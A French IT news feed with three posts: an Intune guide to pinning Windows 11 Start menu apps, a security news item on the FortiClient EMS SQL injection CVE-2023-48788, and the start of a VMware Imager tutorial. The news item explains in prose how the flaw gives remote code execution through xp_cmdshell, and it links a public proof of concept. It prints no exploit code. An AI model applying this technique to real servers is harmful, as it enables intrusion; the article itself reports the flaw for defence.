<p>Cliquez sur "<strong>Appareils</strong>", puis "<strong>Configuration</strong>", afin de cliquer sur "<strong>Créer</strong>" puis "<strong>Nouvelle stratégie</strong>".</p>



<figure class="wp-block-image size-full"><img decoding="async" width="725" height="675" src="media/053026e0.Intune-Personnaliser-menu-Demarrer-Windows-11-01.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Intune-Personnaliser-menu-Demarrer-Windows-11-01.png" alt="Intune - Personnaliser menu Démarrer Windows 11 - 01" class="wp-image-77775" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Intune-Personnaliser-menu-Demarrer-Windows-11-01.png 725w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Intune-Personnaliser-menu-Demarrer-Windows-11-01-550x512.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Intune-Personnaliser-menu-Demarrer-Windows-11-01-150x140.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Intune-Personnaliser-menu-Demarrer-Windows-11-01-50x47.png 50w" sizes="(max-width: 725px) 100vw, 725px" /></figure>



<p>Un panneau latéral va s'ouvrir sur la droite, faites les choix suivants :</p>



<ul>
<li><strong>Plateforme </strong>: Windows 10 et ultérieur</li>



<li><strong>Type de profil </strong>: Modèles</li>



<li><strong>Nom du modèle </strong>: Personnalisé</li>
</ul>



<p>Cliquez sur "<strong>Créer</strong>".</p>



<figure class="wp-block-image size-full"><img decoding="async" width="580" height="400" src="media/b756a5bb.Intune-Personnaliser-menu-Demarrer-Windows-11-02.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Intune-Personnaliser-menu-Demarrer-Windows-11-02.png" alt="Intune - Personnaliser menu Démarrer Windows 11 - 02" class="wp-image-77774" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Intune-Personnaliser-menu-Demarrer-Windows-11-02.png 580w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Intune-Personnaliser-menu-Demarrer-Windows-11-02-550x379.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Intune-Personnaliser-menu-Demarrer-Windows-11-02-150x103.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Intune-Personnaliser-menu-Demarrer-Windows-11-02-50x34.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Intune-Personnaliser-menu-Demarrer-Windows-11-02-130x90.png 130w" sizes="(max-width: 580px) 100vw, 580px" /></figure>



<p>Ensuite, vous devez suivre l'assistant de création de la stratégie, en 5 étapes.</p>



<p>Commencez par nommer cette stratégie :</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="610" src="media/d064def4.Intune-Personnaliser-menu-Demarrer-Windows-11-03.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Intune-Personnaliser-menu-Demarrer-Windows-11-03.png" alt="Intune - Personnaliser menu Démarrer Windows 11 - 03" class="wp-image-77773" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Intune-Personnaliser-menu-Demarrer-Windows-11-03.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Intune-Personnaliser-menu-Demarrer-Windows-11-03-550x419.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Intune-Personnaliser-menu-Demarrer-Windows-11-03-150x114.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Intune-Personnaliser-menu-Demarrer-Windows-11-03-768x586.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Intune-Personnaliser-menu-Demarrer-Windows-11-03-50x38.png 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Puis, à l'étape "Paramètres de configuration", ajoutez un paramètre et configurez-le de cette façon :</p>



<ul>
<li><strong>Nom </strong>: "Menu Démarrer - Applications épinglées" (vous pouvez utiliser un autre nom)</li>



<li><strong>OMA-URI</strong> : ./Vendor/MSFT/Policy/Config/Start/ConfigureStartPins</li>



<li><strong>Type de données</strong> : Chaine (ou "String" en anglais)</li>



<li><strong>Valeur </strong>: collez ici le contenu de votre fichier JSON</li>
</ul>



<p>Cliquez sur "<strong>Enregistrer</strong>" quand c'est fait.</p>



<figure class="wp-block-image size-large"><img decoding="async" width="800" height="492" src="media/a5ebb324.Intune-Personnaliser-menu-Demarrer-Windows-11-04-800x492.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Intune-Personnaliser-menu-Demarrer-Windows-11-04-800x492.png" alt="Intune - Personnaliser menu Démarrer Windows 11 - 04" class="wp-image-77772" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Intune-Personnaliser-menu-Demarrer-Windows-11-04-800x492.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Intune-Personnaliser-menu-Demarrer-Windows-11-04-550x338.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Intune-Personnaliser-menu-Demarrer-Windows-11-04-150x92.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Intune-Personnaliser-menu-Demarrer-Windows-11-04-768x472.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Intune-Personnaliser-menu-Demarrer-Windows-11-04-50x31.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Intune-Personnaliser-menu-Demarrer-Windows-11-04.png 999w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Il n'y a que ce paramètre à configurer pour gérer les applications épinglées.</p>



<p>Passez à l'étape suivante dans le but d'assigner cette stratégie à des appareils : sélectionnez un ou plusieurs groupes, selon vos besoins. Dans cet exemple, je me permets de sélectionner "<strong>Tous les appareils</strong>" car c'est un lab.</p>



<figure class="wp-block-image size-large"><img decoding="async" width="800" height="495" src="media/8354f670.Intune-Personnaliser-menu-Demarrer-Windows-11-05-800x495.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Intune-Personnaliser-menu-Demarrer-Windows-11-05-800x495.png" alt="Intune - Personnaliser menu Démarrer Windows 11 - 05" class="wp-image-77771" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Intune-Personnaliser-menu-Demarrer-Windows-11-05-800x495.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Intune-Personnaliser-menu-Demarrer-Windows-11-05-550x340.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Intune-Personnaliser-menu-Demarrer-Windows-11-05-150x93.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Intune-Personnaliser-menu-Demarrer-Windows-11-05-768x475.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Intune-Personnaliser-menu-Demarrer-Windows-11-05-50x31.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Intune-Personnaliser-menu-Demarrer-Windows-11-05.png 1000w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Poursuivez jusqu'à la fin et créez la stratégie. Voilà, elle est prête à l'emploi !</p>



<figure class="wp-block-image size-large"><img decoding="async" width="800" height="514" src="media/f7a89abb.Intune-Personnaliser-menu-Demarrer-Windows-11-06-800x514.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Intune-Personnaliser-menu-Demarrer-Windows-11-06-800x514.png" alt="Intune - Personnaliser menu Démarrer Windows 11 - 06" class="wp-image-77770" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Intune-Personnaliser-menu-Demarrer-Windows-11-06-800x514.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Intune-Personnaliser-menu-Demarrer-Windows-11-06-550x353.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Intune-Personnaliser-menu-Demarrer-Windows-11-06-150x96.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Intune-Personnaliser-menu-Demarrer-Windows-11-06-768x493.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Intune-Personnaliser-menu-Demarrer-Windows-11-06-50x32.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Intune-Personnaliser-menu-Demarrer-Windows-11-06.png 940w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Désormais, il ne reste plus qu'à tester sur un appareil Windows !</p>



<h2 class="wp-block-heading">IV. Tester la configuration</h2>



<p>Après avoir effectué une synchronisation Intune sur la machine, vous verrez que le menu Démarrer va être modifié : la section "<strong>Epinglé</strong>" sera identique à votre modèle initial. La section "Nos recommandations" quant à elle, n'est pas impactée.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="600" height="667" src="media/9ab14fa3.Personnalisation-menu-Demarrer-Windows-avec-Intune.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Personnalisation-menu-Demarrer-Windows-avec-Intune.jpg" alt="Personnalisation menu Démarrer Windows avec Intune" class="wp-image-77780" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Personnalisation-menu-Demarrer-Windows-avec-Intune.jpg 600w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Personnalisation-menu-Demarrer-Windows-avec-Intune-550x611.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Personnalisation-menu-Demarrer-Windows-avec-Intune-135x150.jpg 135w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Personnalisation-menu-Demarrer-Windows-avec-Intune-45x50.jpg 45w" sizes="(max-width: 600px) 100vw, 600px" /></figure>



<h2 class="wp-block-heading">V. Conclusion</h2>



<p><strong>En suivant ce tutoriel, vous êtes en mesure de personnaliser le menu Démarrer de Windows 11 grâce à la création d'une liste d'applications épinglées !</strong> Pour aller plus loin dans la personnalisation du menu Démarrer avec Intune, vous pouvez consulter cette page de la documentation Microsoft :</p>



<ul>
<li><a href="https://learn.microsoft.com/en-us/windows/client-management/mdm/policy-csp-start?WT.mc_id=AZ-MVP-5004580" target="_blank" rel="noopener nofollow" title="">Microsoft Learn - Intune - CSP pour le menu Démarrer</a></li>
</ul><p>The post <a href="https://www.it-connect.fr/intune-comment-personnaliser-menu-demarrer-windows-11/">Intune – Comment personnaliser le menu Démarrer de Windows 11 ?</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=78307
title: Cette faille critique dans FortiClient EMS permet d’exécuter du code à distance en tant que SYSTEM
uri: Cette-faille-critique-dans-FortiClient-EMS-permet-d-exécuter-du-cod
url: https://www.it-connect.fr/forticlient-ems-cve-2023-48788-faille-critique-rce/
content:
<p><strong>Une faille de sécurité critique présente dans la solution FortiClient Enterprise Management Server (EMS) de chez Fortinet est activement exploitée par les cybercriminels ! Voici ce qu'il faut savoir sur cette menace !</strong></p>



<p>Le 12 mars 2024, Fortinet a mis en ligne <a href="https://fortiguard.fortinet.com/psirt/FG-IR-24-007" target="_blank" rel="noopener nofollow" title="">un bulletin de sécurité</a> pour informer ses utilisateurs de la présence d'<strong>une vulnérabilité critique</strong> (score CVSSv3 de 9.3 sur 10) présente dans la solution <strong>FortiClient EMS</strong>. </p>



<p>Associée à la référence <strong>CVE-2023-48788</strong>, il s'agit d'une<strong> faiblesse de type "injection SQL"</strong> permettant à un <strong>attaquant non authentifié </strong>d'<strong>exécuter du code ou des commandes à distance</strong> sur la machine vulnérable. Autrement dit, un attaquant en mesure de communiquer avec un serveur vulnérable peut <strong>exécuter du code avec les privilèges SYSTEM </strong>dans le but de compromettre la machine.</p>



<p>Dans ce même bulletin de sécurité, nous pouvons lire ceci : "<em>Cette vulnérabilité est exploitée dans la nature</em>". De plus, mercredi 20 mars 2024, les chercheurs en sécurité de chez Horizon3.ai ont mis en ligne<strong> <a href="https://www.horizon3.ai/attack-research/attack-blogs/cve-2023-48788-fortinet-forticlientems-sql-injection-deep-dive/" target="_blank" rel="noopener nofollow" title="">un rapport</a> et un exploit PoC au sujet de cette faille de sécurité</strong>. Cet exploit se présente sous la forme d'un script Python et il est <a href="https://github.com/horizon3ai/CVE-2023-48788" target="_blank" rel="noopener nofollow" title="">disponible sur GitHub</a>.</p>



<p>"<em>Pour transformer cette vulnérabilité d'injection SQL en exécution de code à distance, nous avons utilisé la fonctionnalité xp_cmdshell intégrée de Microsoft SQL Server</em>.", peut-on lire dans le rapport d'Horizon3.ai. Cette fonction n'est pas activée par défaut sur SQL Server, ce qui explique de jouer certaines commandes en amont par l'intermédiaire de l'injection SQL.</p>



<p>Une <a href="https://www.shodan.io/search?query=title%3A%22FortiClient+Endpoint+Management+Server%22" target="_blank" rel="noopener nofollow" title="">recherche sur Shodan</a> montre qu'<strong>il y a actuellement 446 serveurs FortiClient EMS exposés sur Internet</strong>, dont 13 en France et au Canada, 8 en Suisse et 4 en Belgique.</p>



<figure class="wp-block-image size-full"><img fetchpriority="high" decoding="async" width="474" height="549" src="media/0f5e7e2d.Shodan-CVE-2023-48788-21-mars-2024.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Shodan-CVE-2023-48788-21-mars-2024.png" alt="Shodan - CVE-2023-48788 - 21 mars 2024" class="wp-image-78308" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Shodan-CVE-2023-48788-21-mars-2024.png 474w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Shodan-CVE-2023-48788-21-mars-2024-130x150.png 130w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Shodan-CVE-2023-48788-21-mars-2024-43x50.png 43w" sizes="(max-width: 474px) 100vw, 474px" /></figure>



<h2 class="wp-block-heading">Comment se protéger ?</h2>



<p>Voici un tableau récapitulatif avec la liste des versions affectées et la liste des versions qui intègrent un correctif de sécurité pour la CVE-2023-48788.</p>



<figure class="wp-block-table"><table><thead><tr><th>Version (branche)</th><th>Versions vulnérables</th><th>Solution</th></tr></thead><tbody><tr><td>FortiClientEMS 7.2</td><td>7.2.0 à 7.2.2</td><td>Mettre à niveau vers <strong>7.2.3</strong> ou supérieur</td></tr><tr><td>FortiClientEMS 7.0</td><td>7.0.1 à 7.0.10</td><td>Mettre à niveau vers <strong>7.0.11</strong> ou supérieur</td></tr></tbody></table></figure>



<p><a href="https://www.bleepingcomputer.com/news/security/exploit-released-for-fortinet-rce-bug-used-in-attacks-patch-now/" target="_blank" rel="noopener nofollow" title="">Source</a></p><p>The post <a href="https://www.it-connect.fr/forticlient-ems-cve-2023-48788-faille-critique-rce/">Cette faille critique dans FortiClient EMS permet d’exécuter du code à distance en tant que SYSTEM</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=78183
title: Comment créer un modèle Windows Server 2025 avec Imager ?
uri: Comment-créer-un-modèle-Windows-Server-2025-avec-Imager
url: https://www.it-connect.fr/comment-creer-un-modele-windows-server-2025-avec-imager/
content:
<h2 class="wp-block-heading">I. Présentation</h2>



<p><strong>Dans ce tutoriel, nous allons créer une machine Windows Server 2025 qui sera une machine de référence, à l'aide de l'outil Imager de VMware.</strong> Cette machine virtuelle pourra être clonée et/ou utiliser avec des solutions comme <strong>VMware</strong> <strong>Workstation</strong> ou <strong>VMware Horizon</strong>. </p>



<p>Dans les faits, Imager va monter l’image ISO de Windows et créer un média autonome avec une image <strong>install.wim</strong> qui sera découpée en image "<strong>swm</strong>", tout en intégrant les fichiers de réponse nécessaires ainsi qu'un script PowerShell, pour automatiser la création des partitions et l’application de l’image sur le disque dur.</p>



<h2 class="wp-block-heading">II. Les prérequis</h2>



<p>Comme prérequis, nous avons besoins de plusieurs logiciels&nbsp;:</p>



<ul>
<li>VMware Workstation 17.5 (à tester pour les versions antérieures à la version 17.0)</li>



<li>Le Kit de déploiement et d’évaluation Windows (Windows ADK) et l’extension Windows PE
<ul>
<li><a href="https://go.microsoft.com/fwlink/?linkid=2196127" target="_blank" rel="noopener nofollow" title="">ADK pour Windows 11 22H2</a></li>



<li><a href="https://go.microsoft.com/fwlink/?linkid=2196224" target="_blank" rel="noopener nofollow" title="">Extension Windows PE pour l’ADK pour Windows 11, version 22H2</a></li>



<li>Une image de Windows Server 2025 disponible au téléchargement sur le site <a href="https://www.microsoft.com/en-us/software-download/windowsinsiderpreviewserver" target="_blank" rel="noopener nofollow" title="">Windows Server Insiders Preview.</a></li>
</ul>
</li>
</ul>



<p>Pour le programme <strong>Imager</strong>, c’est un ancien <em>VMware Flings </em>qui aujourd’hui, depuis le rachat de VMware par Broadcom, n’est pas disponible sur le nouveau site <a href="https://communities.vmware.com/t5/Flings/ct-p/77" target="_blank" rel="noopener nofollow" title=""><strong>VMware Flings</strong></a><strong>. </strong>Cependant, le site, il faut en faire la demande par mail pour l'obtenir.</p>



<figure class="wp-block-image size-full"><img fetchpriority="high" decoding="async" width="291" height="319" src="media/908a88a9.Comment-creer-modele-Windows-Server-2025-Imager-0.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-modele-Windows-Server-2025-Imager-0.png" alt="" class="wp-image-78214" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-modele-Windows-Server-2025-Imager-0.png 291w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-modele-Windows-Server-2025-Imager-0-137x150.png 137w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-modele-Windows-Server-2025-Imager-0-46x50.png 46w" sizes="(max-width: 291px) 100vw, 291px" /></figure>



<p>Si vous êtes impatient, vous pouvez aller sur le site <a href="https://archive.org/download/flings.vmware.com/Flings/" target="_blank" rel="noopener nofollow" title="">archive.org</a> et là, nous allons retrouver l’intégralité de l’ancien site disponible.</p>



<p>Récupérez le fichier <strong>Imager-x86-2.1.0.303.msi</strong> et procédez à l'installation.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="605" height="195" src="media/20624c92.Comment-creer-modele-Windows-Server-2025-Imager-1.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-modele-Windows-Server-2025-Imager-1.png" alt="" class="wp-image-78215" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-modele-Windows-Server-2025-Imager-1.png 605w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-modele-Windows-Server-2025-Imager-1-550x177.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-modele-Windows-Server-2025-Imager-1-150x48.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-modele-Windows-Server-2025-Imager-1-50x16.png 50w" sizes="(max-width: 605px) 100vw, 605px" /></figure>



<h2 class="wp-block-heading">III. Imager</h2>



<p><strong>Imager </strong>est une solution gratuite qui va nous permettre d’automatiser la création des machines virtuelles, essentiellement pour les machines Windows. Si tout s’est bien passé, vous devriez retrouver l’icône d’Imager.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="68" height="71" src="media/cbdcf933.Comment-creer-modele-Windows-Server-2025-Imager-2.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-modele-Windows-Server-2025-Imager-2.png" alt="" class="wp-image-78216" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-modele-Windows-Server-2025-Imager-2.png 68w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-modele-Windows-Server-2025-Imager-2-48x50.png 48w" sizes="(max-width: 68px) 100vw, 68px" /></figure>



<h3 class="wp-block-heading">A. Son fonctionnement</h3>



<p>Pour résumer, Imager va réaliser certaines étapes&nbsp;:</p>



<ul>
<li>Analyser l'image Windows sélectionnée</li>



<li>Récupération des sources depuis le site de VMware, VMware WorkspaceOne Hub, VMware tools</li>



<li>Création d’un environnement Windows PE avec un fichier de réponse "autounattened.xml".</li>



<li>Création d’une machine virtuelle dans VMware Worsktation en arrière-plan, avec les exécutables <strong><em>vmrun.exe</em></strong> et <strong><em>vmware-kvm.exe</em></strong>.</li>
</ul>



<h3 class="wp-block-heading">B. La pratique</h3>



<p>Imager nécessite des droits administrateurs pour créer la machine virtuelle. Le premier écran d’Imager nous permet de créer notre première VM.</p>



<ul>
<li>Cliquez sur "<strong>New</strong>" pour dérouler les 7 étapes de configuration.</li>
</ul>



<figure class="wp-block-image size-full"><img decoding="async" width="456" height="291" src="media/4d975638.Comment-creer-modele-Windows-Server-2025-Imager-3.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-modele-Windows-Server-2025-Imager-3.png" alt="" class="wp-image-78217" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-modele-Windows-Server-2025-Imager-3.png 456w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-modele-Windows-Server-2025-Imager-3-150x96.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-modele-Windows-Server-2025-Imager-3-50x32.png 50w" sizes="(max-width: 456px) 100vw, 456px" /></figure>



<p>Vous arrivez sur l’écran qui va vous permettre de déterminer les sources que vous allez utiliser lors de la création de la machine.</p>



<ul>
<li><strong>Cliquez</strong> sur "<strong>BROWSE</strong>", et sélectionnez l’image ISO que vous souhaitez utiliser. Attention : que des images Windows bien sûr <img src="media/7b64c362.1f609.png" data-original-source="https://s.w.org/images/core/emoji/14.0.0/72x72/1f609.png" alt="😉" class="wp-smiley" style="height: 1em; max-height: 1em;" />, et des images <strong>WIM</strong> autonome ou au format <strong>ISO</strong>.</li>



<li><strong>Sélectionnez</strong> la version que vous souhaitez installer dans notre cas "<strong>Windows Server Standard (Destkop Expérience)</strong>".</li>
</ul>



<figure class="wp-block-image size-large"><a href="media/59d7bdb6.Comment-creer-un-modele-Windows-Server-2025-avec-Imager-4.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-4.jpg"><img decoding="async" width="800" height="510" src="media/fba4b6b3.nt-creer-un-modele-Windows-Server-2025-avec-Imager-4-800x510.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-4-800x510.jpg" alt="" class="wp-image-78219" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-4-800x510.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-4-550x350.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-4-150x96.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-4-768x489.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-4-50x32.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-4.jpg 1086w" sizes="(max-width: 800px) 100vw, 800px" /></a></figure>



<p>Puis <strong>cliquez</strong> sur "<strong>NEXT</strong>".</p>



<p>Imager nous propose un scénario d’exécution modulaire avec les étapes suivantes&nbsp;:</p>



<ul>
<li><strong><em>Create VM</em></strong>&nbsp;: personnalisation du nom de la machine virtuelle, identifiants et mot de passe de l’utilisateur.</li>



<li><strong><em>Install OS</em></strong>&nbsp;: Installation du système d’exploitation sélectionné précédemment&nbsp;</li>



<li><strong><em>Update OS</em></strong>&nbsp;: récupération des mises à jour depuis Windows Update</li>



<li><strong><em>Provision software&nbsp;</em>:</strong> ajout de packages avec l’extension ppkg.</li>



<li><strong><em>Optimize&nbsp;</em></strong>: optimisation de l’image dans l’objectif de l’intégrer avec VMware Horizon et de l’utiliser comme modèle, la suppression des effets graphiques de Windows, la définition d’un fond d’écran simple.</li>



<li><strong><em>Sysprep </em></strong>: suppression des identifications et des personnalisations liées à la machine virtuelles, SID, nom de machine. Ici, les pilotes sont conservés mais normalement ce n’est pas le cas, c'est un paramètre à rajouter dans le fichier de réponse XML.</li>
</ul>



<p>Si vous le souhaitez, vous pouvez arrêter le processus de création à une des étapes ci-dessus. En cliquant sur les étapes associées.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="606" src="media/7fcb65de.Comment-creer-un-modele-Windows-Server-2025-avec-Imager-5.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-5.jpg" alt="" class="wp-image-78220" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-5.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-5-550x417.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-5-150x114.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-5-768x582.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-5-50x38.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Dans notre cas, nous souhaitons exécuter l’ensemble des six étapes. Cliquez sur "<strong>Next</strong>".</p>



<ul>
<li>Nous devons configurer les paramètres de notre VM Windows Server 2025
<ul>
<li><strong>VM Name</strong>&nbsp;:&nbsp; correspond au nom de la machine virtuelle, ici Windows Server 2025</li>



<li><strong>Processors</strong>&nbsp;: détermine le nombre de processeurs pour la VM</li>



<li><strong>Cores per socket</strong>&nbsp;: détermine le nombre de cœurs par processeurs</li>



<li><strong>Storage controller&nbsp;</strong>: détermine la configuration du stockage, le choix recommandé est VMware Paravirtual SCSI.</li>



<li><strong>Network adapter&nbsp;</strong>: correspond au type de carte réseau, une carte du type Intel, limité à 1 Gbps, ou du VMXNET3 (10Gbps)</li>
</ul>
</li>
</ul>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="606" src="media/bb8a2b38.Comment-creer-un-modele-Windows-Server-2025-avec-Imager-6.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-6.jpg" alt="" class="wp-image-78221" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-6.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-6-550x417.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-6-150x114.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-6-768x582.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-6-50x38.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Remarque&nbsp;: Par défaut, VMware Workstation crée les machines Virtuelles dans le répertoire "<strong>Virtual Machines" </strong>dans le profil utilisateurs. Dans le même esprit, Imager crée un répertoire "<strong>Imager" </strong>dans le répertoire "<strong>Virtual Machines</strong>".</p>



<figure class="wp-block-image size-full"><img decoding="async" width="605" height="218" src="media/2856bf6b.Comment-creer-un-modele-Windows-Server-2025-avec-Imager-7.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-7.jpg" alt="" class="wp-image-78222" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-7.jpg 605w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-7-550x198.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-7-150x54.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-7-50x18.jpg 50w" sizes="(max-width: 605px) 100vw, 605px" /></figure>



<p>Dans la partie "<strong>Operating System</strong>", nous allons définir les paramètres pour notre compte utilisateur. Le nom du compte Administrateur de la machine ainsi que son mot de passe. À cette étape, il est possible de décider la mise à jour de notre système d’exploitation. Dans notre cas, ici, pas de mise à jour pour notre VM.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="608" src="media/260b9c5c.Comment-creer-un-modele-Windows-Server-2025-avec-Imager-8.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-8.jpg" alt="" class="wp-image-78223" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-8.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-8-550x418.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-8-150x114.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-8-768x584.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Comment-creer-un-modele-Windows-Server-2025-avec-Imager-8-50x38.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



